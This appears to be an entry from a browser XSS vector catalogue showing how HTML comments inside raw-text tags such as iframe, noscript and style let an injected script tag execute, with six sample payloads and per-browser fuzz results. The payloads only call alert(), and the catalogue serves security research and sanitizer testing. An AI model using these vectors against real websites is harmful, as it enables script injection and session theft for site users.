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Tags that DO NOT support HTML comments

⚠ Browser differences
Chrome logo 6
Firefox logo 5
Edge logo 6
Safari logo 5

This vector attempts to show which HTML tags DO NOT support HTML comments.

hackvertor
Created byhackvertor
Created Jan 26, 2025
Updated May 28, 2025

Tweet
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
$[data1] placeholderhtml
Template used:
<$[data1]><!-- </$[data1]><script>log('$[data1]')</script></$[data1]>  -->

Sample payloads

<iframe><!-- </iframe><script>alert('iframe')</script></iframe>  -->
<noembed><!-- </noembed><script>alert('noembed')</script></noembed>  -->
<noframes><!-- </noframes><script>alert('noframes')</script></noframes>  -->
<noscript><!-- </noscript><script>alert('noscript')</script></noscript>  -->
<script><!-- </script><script>alert('script')</script></script>  -->
<style><!-- </style><script>alert('style')</script></style>  -->

Fuzz results

Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7

Updated

Wed Jan 28 2026
Found 6 results
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Chrome logo
Chrome 137.0.0.0 mobile Android 10older version

Updated

Fri Jun 13 2025
Found 6 results
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Firefox logo
Firefox 147.0 desktop Linux

Updated

Sun Feb 01 2026
Found 5 results
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Edge logo
Microsoft Edge 144.0.0.0 desktop Windows NT 10.0

Updated

Fri Jan 30 2026
Found 6 results
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Edge logo
Microsoft Edge 132.0.0.0 desktop macOS 10.15.7older version

Updated

Wed Feb 05 2025
Found 5 results
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Safari logo
Safari 18.5 mobile iOS 18.5

Updated

Fri Jun 06 2025
Found 5 results
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